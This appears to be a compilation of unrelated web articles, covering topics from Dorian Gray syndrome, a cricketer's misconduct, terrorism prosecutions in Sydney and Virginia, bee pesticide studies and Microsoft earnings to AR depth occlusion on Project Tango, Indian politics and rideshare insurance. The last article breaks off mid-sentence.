-The Dorian Gray syndrome (DGS) denotes a cultural and societal phenomenon characterized by a man's extreme pride in his personal appearance and the fitness of his physique, which is accompanied by difficulties in coping with the requirements of psychological maturation and with the aging of his body.  The DGS is characterized by a triad of symptoms that overlap, and so combine diagnostic signs of dysmorphophobia, narcissistic character traits, and the immaturity of arrested development, which often are found in paraphilias.[1]  To preserve ephemeral youth, the man afflicted with DGS tends to consume cosmetic products and services, hair-restoration procedures, anti-impotence drugs, and cosmetic surgery; hence, he might resist the psychosomatic and psychodynamic explanations of the syndrome.[2] The term "Dorian Gray syndrome" refers to the protagonist of the novel The Picture of Dorian Gray (1891), an exceptionally handsome man whose hedonism and excessive self-love proved detrimental to the personal, social, and emotional aspects of his life, and who sought to escape the ravages of time and his own decadent lifestyle by having a supernatural portrait of himself age in his place.  History [ edit ]  The portraitist Basil Hallward and Lord Henry Wotton observe the beauty recorded in the picture of Dorian Gray.  The DGS was first described in The Dorian Gray Syndrome: Psychodynamic Need for Hair growth Restorers and other "fountains of youth" (2001), in a symposium about the unrealistic male pursuit of bodily perfection — by means of lifestyle-enhancing drugs, aesthetic surgery, and psychotropic medicines — and its consequences for his mental health as a social being.[3]  The culturally descriptive name of the syndrome refers to the eponymous protagonist of the novel The Picture of Dorian Gray (1891), by Oscar Wilde, the story of a very handsome young man who much admires and envies the just-completed portrait of himself, and wishes that it would grow old, rather than he. In order to resist the physical corruptions of time and nature, and unable and unwilling to mature, Dorian Gray "gives his soul away", and his wish is granted.[4]  The oil portrait and the narrative of the novel transgress and cite narcissistic mirror motives; as such, eternal beauty, aging, and maturation are represented with the psychological dyad of "the person and the mirror". The personal character of the man Dorian Gray is the background for the clinical description of the Dorian Gray syndrome that afflicts the patient.  Causes [ edit ]  The Dorian Gray syndrome arises from the concurring and overlapping clinical concepts of the narcissistic personality, dysmorphophobia, and paraphilia. Psychodynamically, the man afflicted with DGS presents an interplay among his narcissistic tendencies ("timeless beauty"), his arrested development (inability to psychologically mature), and his use of "medical lifestyle" products and services — hair restoration, drugs (for impotence, weight-loss, and mood modification), laser dermatology, and plastic surgery — in order to remain young.  Although the DGS patient displays diagnostic features of said mental disorders, the syndrome describes a common, underlying psychodynamics of mental illness, which is characterized by narcissistic defences against time-dependent maturation, expressed by actively seeking the timeless beauty of youth.[5] The article Das Dorian Gray syndrom (2005) reported that approximately 3.0 per cent of the population of Germany present features of the Dorian Gray syndrome.[6]  Diagnosis [ edit ]  The diagnostic criteria for Dorian Gray syndrome are:  Signs of dysmorphophobia  Arrested development (inability to mature)  Using at least two different medical-lifestyle products and services: Hair-growth restoration (e.g. finasteride) Antiadiposita to lose weight (e.g. orlistat) Anti-impotence drugs (e.g. sildenafil) Anti-depressant drugs (e.g. fluoxetine) Cosmetic dermatology (e.g. laser resurfacing) Cosmetic surgery (e.g. a face-lift, liposuction)  Sequelae [ edit ]  Episodes of major depressive disorder and of suicidal crisis occur in the man afflicted with Dorian Gray syndrome when the defense mechanism activities, the pursuit of eternal youth, fail to indefinitely preserve his handsome face and sculpted physique; usually, anti-depressant drugs and psychotherapy are prescribed and applied to counter his feelings of failure.[7]  Furthermore, if the man misunderstands the self-defensive character of "acting out" the DGS, and continues pursuing the timeless beauty of male youth, without being aware of the psychodynamics of narcissism, then he, as a psychiatric patient, establishes a cycle of chronic psychological depression. In extreme cases of DGS, the man seeks self-destruction, by means either of drugs or with plastic surgery, or both, in order to fill the narcissistic emptiness that is the Dorian Gray syndrome.  Analogous applications [ edit ]  In sport, the Dorian Gray syndrome is applied to ageing baseball players who retain their competitive edge (athleticism) with drugs that are illegal in professional sport. [8]  In architecture, the Dorian Gray syndrome is applied to the rehabilitation of a building to a pristine condition greater than when the building was new.[9]  See also [ edit ]  References [ edit ]  ^ Uwe Gieler et al. eds., Clinical Management in Psychodermatology (2008) pp. 46-47 ^ U. Gieler et al eds., Clinical Management in Psychodermatology (2008) pp. 47 and 172. ^ Brosig 2000, Brosig et al. 2001, Euler 2003 et al. ^ I. Ousby ed., The Cambridge Guide to Literature in English (1995) p. 738. ^ Alex Boese, Hippo Eats Dwarf (2010) p. 265 ^ Brosig, B., Euler, S., Brähler, E., Gieler, U. (2005) "Das Dorian Gray Syndrom", in Trüeb, R. A. (Hg.): Smart aging. Darmstadt, Steinkopff. ^ U. Gieler et al eds., Clinical Management in Psychodermatology (2008) p. 47 ^ V. A Belton, Baseball is America (2010) p. 328. ^ M. Glendinning, The Conservation Movement (2013) p. 433.  Further reading [ edit ]
-Praveen Kumar, who has had a history of on-field brawls, is in the firing line again. He was reported for offensive behaviour during the recent Corporate Trophy match between ONGC and Income Tax on February 4. Umpires Ajit S Datar and Kamlesh Sharma have charged him with ‘Code of Conduct’ violation under clause 2.2.8.  The incident happened during the 48th over of the Income Tax innings. Playing for ONGC, Kumar had reportedly made an insulting gesture and even used “violent physical contact” against Ajitesh Argal, the Income Tax medium-pacer, known more for his feats in the ICC U-19 World Cup in 2008.  In a letter to the BCCI and match referee Dhananjay Singh, the umpires have given a detailed account of Praveen’s conduct. A part of the letter reads:  “He (Kumar) shouted, ‘M******** tu batting kar, umpiring maat kar (you just bat, don’t have to be an umpire)’.”“When ordered to stop it, he repeated, ‘Woh m******** batting kyon nahin karta (why doesn’t he simply bat?)’”  “After bowling the first ball, Praveen Kumar advanced aggressively towards the striker and made violent physical contact with him, head-butting and chest-butting the striker.”  They have suggested that a hundred per cent penalty be imposed on him as per the BCCI guidelines, with a warning that he should not “indulge in such acts in future”.  More damning is a written note to KVP Rao, the Indian cricket board’s game development manager.  The umpires have gone on record as saying that Praveen “is not in a mental frame to play the game”. Furthermore, they claim that his own teammates have deserted him.  According to the letter, “He is very aggressive and gets hostile with little trigger. He is very abusive and passes very filthy comments to his own team mates, opponents and even to the spectators.  During the first match also (ONGC vs CAG on February 1), he had some spat with the spectators at Raipur. It was informed to me by the other match referee Mr Prakash Bhatt. Even his own teammates are keeping some distance from him.”  Two years ago, during India’s tour of the West Indies, he had scrapped with a spectator in Port of Spain. In 2008 also, he was involved in a fracas in Meerut, his home town, and had allegedly thrashed a doctor.  In the 2011 series in England, he had reacted angrily to fans’ gibes in a tour game against Northants.  The mercurial medium pacer, once a find because of his whippy action and cocked wrist, has fallen out of favour with the selectors. Sadly, his off-field demeanour has been undermining the talent that’s gradually losing way.  —The writer works with ESPN-Star Sports
-Informant warned ASIO of planned Sydney terrorist attack  Updated  Court documents have revealed Australia's spy agency ASIO was fed information about two Sydney men who were plotting to carry out a terrorist attack on behalf of Islamic State.  Omar Al-Kutobi, 25, and Mohammad Kiad, 27, were under surveillance for about a month when they were arrested and charged with preparing to carry out a terrorist attack in February 2015.  Court documents reveal an informant tipped off the Joint Counter-Terrorism Team (JCCT) to the plot on February 10 and said the attack was imminent.  "The lions will depart to carry it out in a few hours," the JCCT was told.  The JCCT is a multi-agency taskforce comprising New South Wales Police, the Australian Federal Police and ASIO.  The same day, counter-terrorism police swarmed on the granny flat Al-Kutobi and Kiad shared in Fairfield and arrested the men.  The pair was arrested just minutes after they had filmed a video in which Al-Kutobi can be seen speaking Arabic in front of a home made Islamic State flag.  "I swear to God almighty, yellow people, there is no reproach between us," Al-Kutobi said in the video.  "You will only get from us the stabbing of your kidneys."  Officers also discovered a note which said "we are here to cut off your heads", along with home made napalm, a machete, a hunting knife and instructions and ingredients to make an improvised explosive device.  Informant helped thwart attack  The court documents state the pair was planning to target a Shiite prayer hall in western Sydney with an "incendiary device", but that plan was abandoned in favour of an alleged plot to attack a person or persons with a bladed weapon.  The documents also alleged Al-Kutobi and Kiad made an oath of allegiance to the leader of the Islamic State group and received instructions from an IS recruiter known as "Rahman", who was based in, or on the border of, Syria.  But the documents also reveal Rahman fed information about the two men to a person overseas who is known only as "Witness A".  Witness A then passed that information on to ASIO and the JCCT.  The NSW Supreme Court heard Rahman acted as an informant in return for money and refuge.  But a barrister acting for the Commonwealth told the court that fact was disputed by the Federal Government.  Videos played in court  The video of Al-Kutobi kneeling in front of the IS flag was played to the court.  Al-Kutobi is speaking Arabic on the video, and at times, Kiad can be heard responding.  Minutes later, both men were arrested and charged with acting in preparation for a terrorist act.  They have since pleaded guilty.  The two men the two men were committed to stand trial in February after they waived their rights to a committal hearing.  Kiad, 27, is a student from Kuwait, while Al-Kutobi, 25, is a refugee from Iraq.  Police footage of two separate improvised explosive device demonstrations were also shown. Prosecutors said the devices were made using substances found at the men's flat.  CCTV footage of Al-Kutobi and Kiad purchasing a hunting knife at a camping supplies store in Smithfield on the day of their arrest was also viewed.  The employee who served them has described it as a "run-of-the-mill sale".  The hearing continues.  Topics: courts-and-trials, terrorism, sydney-2000, parramatta-2150  First posted
-A 17-year-old Virginia teen faces up to 15 years in prison for blog and Twitter posts about encryption and Bitcoin that were geared at assisting ISIL, which the US has designated as a terror organization.  The teen, Ali Shukri Amin, who contributed to the Coin Brief news site, pleaded guilty (PDF) Thursday to a federal charge of providing material support to the Islamic State in Iraq and the Levant.  Dana Boente, the US Attorney for the Eastern District of Virginia, said the youth's guilty plea "demonstrates that those who use social media as a tool to provide support and resources to ISIL will be identified and prosecuted with no less vigilance than those who travel to take up arms with ISIL."  According to the defendant's signed "Admission of Facts" filed Thursday, Amin started the @amreekiwitness Twitter handle last June and acquired some 4,000 followers and tweeted about 7,000 times. (The Twitter handle has been suspended.) Last July, the teen tweeted a link on how jihadists could use Bitcoin "to fund their efforts."  According to Amin's court admission (PDF):  The article explained what Bitcoins were, how the Bitcoin system worked and suggested using Dark Wallet, a new Bitcoin wallet, which keeps the user of Bitcoins anonymous. The article included statements on how to set up an anonymous donations system to send money, using Bitcoin, to the mujahedeen.  In August, the youth tweeted that the Khilafah—Islam's political system and messenger—needed an official website "ASAP" and that ISIL should stop releasing propaganda "in the wild" and instead should consider using JustPaste.it.  "Through various tweets, the defendant provided information on how to prevent the website from being taken down, by adding security defenses, and he solicited others via Twitter to assist on the development of the website," according to his signed admission.  On his blog, the boy "authored a series of highly technical articles targeted at aspiring jihadists and ISIL supporters detailing the use of security measures in online communications to include the use of encryption and anonymity software, tools and techniques, as well as the use of the virtual currency Bitcoin as a means to anonymously fund ISIL."  Sentencing for the honor student at Osbourn Park High School of Manassas is scheduled for August 28. The boy remains jailed.  Amin's lawyer, Joseph Flood, said his client's motivation was religion and distaste for the Syrian government. "Sometimes people feel frustrated in their inability to effect change against a government committing atrocities," Flood said. "He was blogging on the Internet. It's as simple as that."  Amin is also accused of radicalizing an 18-year-old Virginia youth, Reza Niknejad, who traveled to Syria in January to join ISIL. Niknejad was charged Wednesday with conspiring to provide material support to ISIL and conspiring to kill and injure people abroad. Amin admitted that he helped Niknejad get a mobile phone, assisted him with travel, and hooked him up with ISIL supporters overseas.  He also said he delivered a letter from Niknejad to his family. The letter said that Niknejad "did not plan to see his family again."
-Studies highlight differences between banned pesticides  21 January 2014 by Alex Peel  Two separate studies have added new weight to the idea that some varieties of controversial neonicotinoid pesticides are less harmful to bees than others.  The research tested the effects of feeding two different neonicotinoid compounds, thiamethoxam and imidacloprid, to bumblebees. The EU recently banned both pesticides over concerns about their effects on bee health.  Ian Laycock, from the University of Exeter, led the studies.  "We found that both thiamethoxam and imidacloprid were capable of repressing feeding and brood production in bumblebees," he says. "But with thiamethoxam this only happened with very large concentrations of the pesticide - concentrations that bees are unlikely to encounter in the environment."  In contrast, imidacloprid reduced both egg production and pollen consumption by half even at the very low concentrations that bees are likely to encounter when they forage on treated crops.  What our study shows is that we cannot simply apply the conclusions about the safety of imidacloprid to other neonicotinoids - Ian Laycock, University of Exeter  "We think this occurs because imidacloprid produces a stronger repression of feeding in bumble bees than thiamethoxam, and this imposes a greater limitation on the bees' ability to produce eggs," says Laycock.  "Brood production is particularly important in bumblebee colonies because the number of eggs and larvae a colony produces can dictate how many workers it has - and colonies with more workers tend to be more successful."  "In particular they produce more queens that go on to found new colonies and keep the colony cycle going the following year. So our results raise further concern about the threat of imidacloprid to bumblebees."  But the research also had some better news for bees. After two weeks' exposure, the bees were allowed to recuperate, and seemed to bounce back well.  This kind of 'pulsed' exposure is designed to replicate the scenario in the wild, where bees feed on mass-flowering crops, like oil-seed rape, for a window of just a few weeks while they're in flower. When the bloom is over, wild bees often switch back to pesticide-free wildflowers.  While the scientists tested imidacloprid on regular colonies, the research on thiamethoxam was carried out on micro-colonies, each made up of four worker bees kept apart from the queen. This allowed the scientists to monitor responses such as feeding, egg-laying and brood survival in precise detail.  In natural colonies, the queen bee does most of the brood production herself, and Laycock acknowledges that the lack of queens in the micro-colonies does limit the study's ability to replicate the bees' real-world environment.  But he believes the research still gives a useful insight into the different effects of neonicotinoid compounds. And he maintains that lab studies have an important role to play in gathering evidence on pesticides.  "It's impossible to perfectly replicate the real world in the lab, and for that reason some people will always question the environmental relevance of lab studies," he says.  "But carefully designed lab studies are vital because, unlike field studies, we can precisely control variables such as the concentration or dose of the pesticide that the bee receives."  In December last year, the EU introduced a two-year moratorium on neonicotinoids. The UK voted against the ban, citing a lack evidence of harm to bees in field studies.  Laycock believes that the evidence against imidacloprid is probably strong enough to justify a temporary ban, giving researchers more time to look into its effects. But he says we shouldn't tar all neonicotinoids with the same brush.  "What our study shows is that we cannot simply apply the conclusions about the safety of imidacloprid to other neonicotinoids," he says.  He is also concerned that the moratorium could encourage farmers to use alternative pesticides on their crops, whose effects on bees are unstudied, and may prove to be even worse.  These thoughts are echoed by Dr Chris Connolly, from the University of Dundee, who was not involved with either study.  It's irrational to set the bar higher for one pesticide than all the others - Dr Chris Connolly, University of Dundee  "Whether or not these pesticides are responsible for bee decline, there is clear evidence that they have an effect, and so the moratorium seems like a wise precaution."  "But it would be totally unwise if they are just replaced with other compounds, which we know very little about - it's irrational to set the bar higher for one pesticide than all the others. The whole thing needs to be looked at a bit more scientifically."  One potential alternative, belonging to a group of chemicals called pyrethroids, was the subject of a separate lab study at Royal Holloway, University of London. Colony exposure to the pesticide was shown to reduce the size of bumblebees' offspring, posing a potential risk to colony success.
-Software maker Microsoft on Tuesday reported revenue and earnings well ahead of expectations, although the company took a big hit from a writedown of its Nokia phone unit acquisition.  For the three months ended June 30, Microsoft posted a net loss of $3.2 billion, or 40 cents per share, on revenue of $22.2 billion. Excluding the costs related to the Nokia writedown and other restructuring charges, Microsoft said it would have posted per-share earnings of 62 cents.  The company had been expected to post per-share earnings of 56 cents on revenue of $22.06 billion, according to Yahoo Finance.  “We finished the fiscal year with solid progress against our strategic priorities, through strong execution and financial discipline,” CFO Amy Hood said in a statement.  Nonetheless, Microsoft shares fell in after-hours trading. Shares changed hands recently at $45.65, down $1.63 or more than 3 percent.  Microsoft said it would wait until a 2:30 pm PT conference call to offer up its outlook for the current quarter.  The report follows the company’s announcement earlier this month that it would cut a further 7,800 jobs and take a $7.6 billion writedown on its purchase of Nokia’s phone business.  Microsoft said that its commercial revenue (aka sales to businesses) rose slightly to $13.5 billion, while consumer revenue from Office, Windows and Windows Phone all dropped from a year ago. Microsoft plans to release the PC version of Windows 10 next week, with updates to its phones and Office also due out later this year.  The company sold 8.4 million Lumia smartphones, up 10 percent from the prior year, but revenue fell as more of the devices sold this year were in the lower end of the market. Surface revenue more than doubled, to $888 million, while sales of 1.4 million Xbox consoles represented a 30 percent year-over-year increase.  In its online business, Microsoft said search revenue increased 21 percent, with Bing’s U.S. market share rising to 20.3 percent, up 1 percentage point from a year ago.  Here is Microsoft’s summary of its quarterly highlights:  Update, 2:35 p.m. PT: CEO Satya Nadella kicked off the conference call on an optimistic note, noting that the company has restructured itself to deliver better products at “a more rapid pace.”  He said that the company’s cloud-based services for business are on an $8 billion run rate and on track to reach his goal of $20 billion in such revenue by fiscal 2018.  2:40 p.m.: Lots of billion dollar opportunities out there, Nadella says, ranging from Azure cloud-based operating system to CRM to security.  2:41 p.m.: Nadella, on Windows 10: Our aspiration with Windows 10 is to change people “from needing to choosing to loving Windows,” repeating a line he used back in January.  “I do believe Windows 10 will broaden our opportunity and return Windows to growth,” Nadella said.  First Windows 10 PCs will be available on launch day, with widest-ever assortment on sale by the holidays. Phone losses will narrow, Nadella said, with the new focus (less models, fewer markets).  “We’re confident these are the right levers to revitalize Windows and restore growth,” Nadella said, pointing to Surface tablet as an example where the company has turned things around. “Surface is clearly a product where we have gotten the formula right.”  2:46 p.m.: Bada-bing.  “Bing will transition to profitability in the coming fiscal year,” Nadella said.  2:53 p.m.: CFO Amy Hood noted that the company’s bookings were flat from the prior year, but that the company reached a milestone in another key measure of future sales. The company’s level of sales to businesses that are “contracted but not billed” hit an all-time high of $24.5 billion.  2:56 p.m.: On to 2016 guidance.  The company is deferring a portion of the Windows 10 revenue and recognizing it over a period of two-to-four years but plans to give guidance excluding that impact.  Strengthening fo U.S. dollar should affect the company for the coming year, assuming a similar exchange rate, denting revenue by 5 percent.  The company expects, as Nadella noted, a profitable Bing.  Microsoft now sees operating expenses of $32.1 billion to $32.4 billion, below its April guidance, reflecting the cuts it has made in the phone business.  3:01 p.m.: For the first quarter, Microsoft sees revenue from consumer licensing to be $3.4 billion to 3.6 billion. Computing and gaming hardware revenue should be $2.0 to $2.1 billion. Phone hardware sales should be about $900 million, but with gross margins improving from the prior quarter due to the cost cuts being made.  Commercial revenue should be roughly flat due to the impact of currency.  3:02 p.m.: On to Q and A…  First question is on Office 365 subscription service, prompting Nadella to say “Overall we are very excited about the growth we are seeing in Office 365.” He added that consumer subscribers increasing by about 1 million per month and that, on the enterprise side, the growth “remains very exciting for us.”  3:08 p.m.: People still can’t agree how to pronounce Azure.  3:12 p.m.: Nadella says that he is excited for Windows 10, but says that financial impact will build over time. “My bullishness for Windows 10 is more in the second half of the fiscal year.” (Microsoft’s fiscal year runs from July to June.)  On the changes to the phone business, Nadella said the biggest shift “is not to think about phones in isolation.” Being a part of the phone business is important, Nadella said.  One area that remains important to Microsoft is flagship phones for Windows fans: “That’s actually a segment today (where) we don’t have good devices and we hope to change that with Windows 10.”  The company can also play in business phones and at the low-end of the smartphone market, but that last area is where the company needs to be more efficient, Nadella said. “That’s where you will see the most significant operational changes,” he said.  3:25 p.m.: A lot of talk about CRM and ERP and SaaS. OMG.
-China today said that it cannot share with India the hydrological data of the Brahmaputra river for the time being as the data collection station in Tibet is being upgraded.  China, however, said it is ready to "keep communication" with India to reopen the Nathu La pass in Sikkim for the Indian pilgrims visiting Kailash and Manasarovar in Tibet, which it had suspended in mid June over the Doklam standoff.  "For long time we have conducted cooperation on the river data with the Indian side. But to upgrade and renovate the relevant station in the Chinese side, we do not have the conditions now to collect the relevant statistics of the river," Chinese Foreign Ministry spokesman Geng Shuang told media here.  Asked when will China provide the data, which was reportedly suspended due to the Doklam standoff, he said, "We will later consider that."  Asked whether India has been informed about not sharing of the hydrological data, he said according to his information the Indian side is aware of it.  On August 18, Indian External Affairs Ministry spokesman Raveesh Kumar had said there is an existing expert-level mechanism, established in 2006, and there are two MoUs under which China is expected to share hydrological data on rivers Sutlej and Brahmaputra with India during the flood season of May 15 to June 15.  "For this year, we have not received hydrological data from the Chinese side," Kumar had said.  The data share by upper riparian state, China, to lower riparian states, India and Bangladesh is essential every monsoon to allow anticipation of the flow of the water and take necessary measures to deal with flooding in India's northeastern states.  On the reopening of the Nathu La Pass for the Indian pilgrims visiting Kailash and Manasarovar in Tibet which was suspended over the Doklam standoff, Geng said China is ready to "keep communication" with the India.  "For a long China has made efforts against all odds to provide necessary convenience to the Indian pilgrims. According to the agreement reached between the two leaders and based on the fact that the western section of the India-China boundary has been recognised by the two sides, China opened the pass to the Indian pilgrims," he said, replying to a question when China will open the route to the Indian pilgrims as the Doklam standoff has been resolved.  The foreign ministry spokesman said the opening of the Nathu La pass was suspended as the Indian troops "illegally crossed the border leading to the tensions at the border".  "The Indian troops illegally crossed the border leading to the tensions at the border. So the opening of the pass was suspended," he said.  "So China stands ready to keep communication with the Indian side in regard to the opening of the pass and other issues relating to the pilgrims," he said.  The Sikkim route to Mansarovar was opened in 2015, enabling pilgrims to travel the 1500-km long route from Nathu La to Kailash by buses.  The Yatra was being organised by External Affairs Ministry since 1981 through Lipu Pass in Himalays connecting the Kumaon region of Uttarakhand in India with the old trading town of Taklakot in Tibet.
-Project Tango is a new mobile platform by Google’s Advanced Technology and Projects (ATAP) team which brings motion tracking, depth perception, and area learning to smartphones and tablets. This technology can be used to realize real world measurement applications, indoor navigation and virtual reality environments. With its motion tracking technology, Project Tango is also suitable for precise three dimensional augmented reality (AR) applications. The areas of applications for augmented reality are diverse, from medicine, the entertainment industry, education and many more industries. Accessible help for navigation, display insertion for personal assistance, context sensitive projections and computer games are typical AR application scenarios.  The illusion in AR applications can be realized by equating the extrinsic and intrinsic camera properties of the real and the virtual camera in a virtual scene. Motion Tracking can then be used to update the virtual camera location and orientation continuously. But the illusion of model projection in these AR applications is often disrupted when real objects in the scene are located in front of virtual projections, but not occluding them. This can be seen in the following AR example, where the missing real world wall occlusion is destroying the illusion of the second picture.  In my master’s thesis I focused on this augmented reality problem and compared three occlusion mechanisms which can solve the virtual object occlusion with Project Tango’s Depth Perception on mobile hardware and in real time.  The idea of real world occlusion by determined depth information was first introduced by Wloka and Anderson (1995). They used the z-buffer algorithm and a depth estimation with stereo cameras to prevent a rendering of virtual object parts which are occluded by real object depth information. For this mechanism I indicated three different approaches to fill the z-buffer with depth information captured by the infrared laser sensor, which is integrated in the Project Tango device. It is filled by the direct sensor data projection, by a TSDF (Truncated Signed Distance Function) based reconstruction called Chisel by Klingensmith et al. (2015) or by a plane based reconstruction combined and implemented by myself. Project Tango does not produce a depth map which could be integrated into the z-buffer directly. Instead it generates a point cloud with depth information of the current camera perspective. The first naive approach mentioned above is the projection of the point cloud to an image plane which then can be used as z-buffer. The results can be seen in the following two examples:  A problem of this approach is that the depth sensor is limited to a range of 50 cm to 4 m and has issues capturing the depth of complex or reflecting surfaces. Another limitation is the reception rate of only 5Hz. Each of these issues negatively affects the pointcloud projection due to noise and latency.  Breen et al. (1996) are mentioning that the z-buffer based occlusion can also be realized by rendering a reconstruction based on primitives or spatial information as a depth map. Therefore the second approach for solving the mentioned problems is a plane based reconstruction which was developed for this thesis. It relies on the RANSAC plane estimation from point clouds by Yang and Förstner (2010) and on the plane augmentation and plane range determination method which is used in a SLAM (Simultaneous Localization and Mapping) method by Trevor et al. (2012). In this approach all incoming points of the depth sensor get collected into an octree with a limited depth for spatial clustering. Then, the RANSAC (RANdom SAmple Consensus) algorithm is applied to all clusters with new points. It either augments existing planes in this cluster or creates new planes with a limit of three planes per cluster. The reach of each plane is calculated and triangulated by the convex hull. A result of this first reconstruction approach can be seen in the following examples:  The second reconstruction and third depth generating approach of this thesis is based on the real time reconstruction field of research. Unlike the offline reconstruction methods such as the Poisson reconstruction by Kazhdan et al. (2006) or the approach of Hoppe et al. (1992), the challenge for real time reconstruction methods is the migration of continuous depth information from different perspectives into a single augmentation model. Klingensmith et al. (2015) have presented a real time reconstruction method based on truncated signed distance functions (TSDF) focusing on the mobile applications called Chisel. In this TSDF approach the world is divided into voxels which contain the shortest distance to the next surface. Usually, this representation is rendered via GPU ray casting on desktop environments like in KinectFusion by Newcombe et al. (2011). In contrast, Klingensmith et al. (2015) are using the marching cubes method to get a polygon based representation of the surface. They also integrate a spatial hash data structure presented by Nießner et al. (2013) to minimize the footprint of Chisel for mobile devices and to be able to realize Chisel as a CPU implementation. This approach is also shown in the following pictures:  All theses depth map generating approaches produce errors because of noise and limitations in cluster or voxel sizes. Also the plane based reconstruction is producing gaps between planes, which lead to missing depth information in the depth map. To solve this issue I tried to improve the generated depth map quality by taking the current RGB frame into account. The best results in terms of performance and quality were achieved by the guided filtering by He et al. (2010). This filter can interpolate the depth according to the edges and gradients of the current color image frame captured by the Project Tango device. Applied on a Chisel reconstruction depth map, it can improve the quality drastically:  During this thesis, all mentioned approaches were implemented or ported to the Project Tango development kit as a proof of concept. The final implemented prototype is containing all depth generating approaches and also the guided filter which can be combined and manipulated dynamically for evaluation purposes. It is written in C++ using OpenGL and OpenCV for rendering and filtering. Each combination was tested on this static and reproducible setup next to another more complex test setup to ensure the same input information for each tested approach. In addition, some immeasurable dynamic tests have been performed to get an impression of how the different approaches can be used in production. The overall process of this prototype can be seen in the following figure:  All six approaches mentioned (three depth map generating methods combined with the guided filter) can be used to achieve augmented reality occlusion by real objects. The naive point cloud projection has the already mentioned disadvantages of noise and the limited depth range because of sensor limitations. Noise can be successfully reduced by the guided filter which, however, is limited to 2 − 3Hz due to the OpenCV CPU image processing. Nevertheless, in combination the point cloud projection could be used for more detailed but size constrained AR scenes.  The guided filter is also able to close the depth gaps of the developed plane based reconstruction. Although the plane based reconstruction was producing good results in the static tests, it is still rebuilding non-planar surfaces with rough plane approximations. This leads to greater depth map errors in a more dynamic augmented reality scene where the camera position is not constrained. The cluster size also cannot be reduced, otherwise the RANSAC plane detection would produce statistically more false positives because of less measurement results inside each cluster.  Good results could be achieved by using the TSDF reconstruction Chisel as seen in in the previous example. Although the voxel resolution was quite rough in this prototype, this reconstruction system could still be implemented on the GPU, benefitting the parallel processing characteristics. By negotiating the reconstruction scale, voxel resolution and performance, the voxel resolution could be still reduced to the limits of the depth sensor.  The guided filter was always able to improve the quality of the real world occlusion in the static scenes. However, some artifacts were observed during dynamic testing. When an edge in the color frame was just painted on a flat real world surface, which also produced a flat depth map, the filter was alternating the depth map with some artifacts caused by the underlying color structure. This should be investigated next to alternative depth map upsampling methods for mobile usage in future work, like the approach of Ferstl et al. (2013). Another future idea could be the integration of the guided filter into the OpenGL fragment shader. This would make the OpenCV binding superfluous and could save the conversion time. The filter would also benefit from the parallel GPU computing characteristics implemented in OpenGL and would run much faster than in this prototype realization.  Prototype Demo  Unity TSDF Demo  Thesis / Slides / Code can be found on GitHub.  Literature  Breen, D. E., Whitaker, R. T., Rose, E., and Tuceryan, M. (1996). Interactive occlusion and automatic object placement for augmented reality. In Computer Graphics Forum, volume 15, pages 11–22. Wiley Online Library.  Ferstl, D., Reinbacher, C., Ranftl, R., Ruether, M., and Bischof, H. (2013). Image guided depth upsampling using anisotropic total generalized variation. In The IEEE International Conference on Computer Vision (ICCV).  He, K., Sun, J., and Tang, X. (2010). Guided image filtering. In Computer Vision–ECCV 2010, pages 1–14. Springer.  Hoppe, H., DeRose, T., Duchamp, T., McDonald, J., and Stuetzle, W. (1992). Surface reconstruction from unorganized points, volume 26. ACM.  Kazhdan, M., Bolitho, M., and Hoppe, H. (2006). Poisson surface reconstruction. In Proceedings of the fourth Eurographics symposium on Geometry processing, volume 7.  Klingensmith, M., Dryanovski, I., Srinivasa, S., and Xiao, J. (2015). Chisel: Real time large scale 3d reconstruction onboard a mobile device. In Robotics Science and Systems 2015.  Newcombe, R. A., Izadi, S., Hilliges, O., Molyneaux, D., Kim, D., Davison, A. J., Kohi, P., Shotton, J., Hodges, S., and Fitzgibbon, A. (2011). Kinectfusion: Real-time dense surface mapping and tracking. In Mixed and augmented reality (ISMAR), 2011 10th IEEE international symposium on, pages 127–136. IEEE.  Nießner, M., Zollhöfer, M., Izadi, S., and Stamminger, M. (2013). Real-time 3d reconstruction at scale using voxel hashing. ACM Transactions on Graphics (TOG), 32(6):169.  Trevor, A. J., Rogers III, J. G., Christensen, H., et al. (2012). Planar surface slam with 3d and 2d sensors. In Robotics and Automation (ICRA), 2012 IEEE International Conference on, pages 3041–3048. IEEE.  Wloka, M. M. and Anderson, B. G. (1995). Resolving occlusion in augmented reality. In Proceedings of the 1995 symposium on Interactive 3D graphics, pages 5–12. ACM.  Yang, M. Y. and Förstner, W. (2010). Plane detection in point cloud data. In Proceedings of the 2nd int conf on machine control guidance, Bonn, volume 1, pages 95–104.  Get in touch  Wanna learn more about our services in mobile development and smart devices? Visit our website, write an email to info@inovex.de or call us at +49 721 619 021-0  Join us!  Looking for a job where you can work with cutting edge technology on a daily basis? We’re currently hiring Android System Entwickler/ Embedded Linux Entwickler (m/w) in Karlsruhe, Pforzheim, Munich, Stuttgart, Cologne and Hamburg!
-Reacting to the deteriorating and order situation in Uttar Pradesh, (BJP) leader Subramanian Swamy on Monday said that Article 256 empowers the government to give directions to a state government, and that even President's rule can be imposed on Uttar Pradesh, if they refused to follow those directions.  "Articles 256 empowers the central government to give directions to state government in such a situation, and if they refuse to do that, Presidents rule can be imposed on the state," Subramanian Swamy.  leader Yogi Adityanath said there is a state of anarchy in Uttar Pradesh.  "There is a state anarchy in Uttar Pradesh. They had created such situation in Firozabad during elections also. This government has had such a history, the condition of the state will be the same," said Adityanath.  There has been an outrage against the deteriorating and order situation in Uttar Pradesh, with many politicians demanding for state Chief Minister Akhilesh Yadav's resignation and President's rule to be imposed on the state.  Yesterday, a 32-year-old woman was gangraped in Baduan. This is the second rape case to be reported in the area in a month and the third in the state, after two Dalit girls and a minor girl in Moradabad were raped and left hanging from a tree.
-Farmers Insurance announced Monday that it has begun offering its Rideshare Insurance Coverage endorsement in New Jersey.  The endorsement is designed to offer ride-hail drivers coverage options as part of Farmers personal auto insurance policies.  Farmers said the company worked with transportation network companies (TNCs) to develop a product designed for ride-hailing drivers. The product is currently also available in Arkansas, Arizona, Colorado, Georgia, Illinois, Kansas, Minnesota, Nebraska, Nevada, New Mexico, Ohio, Oklahoma, Tennessee, Texas, Utah and Wisconsin.  Farmers said its Rideshare Insurance Coverage can provide Farmers customers coverage when a driver turns on the ride-hailing application and during the time the driver is awaiting a match. It will extend a driver’s Farmers auto insurance coverage until they accept a ride, at which point their TNC affiliate’s commercial insurance coverage would apply.  Farmers’ rideshare coverage allows a driver to select the coverage that fits their needs; including comprehensive and collision coverage that can pay for damages to their own vehicle, uninsured/underinsured motorist coverage (in case they are hit by a driver who isn’t insured or is underinsured), and Personal Injury Protection coverage.  Farmers serves more than 10 million households with over 19 million individual policies, across all 50 states, through more than 48,000 exclusive and 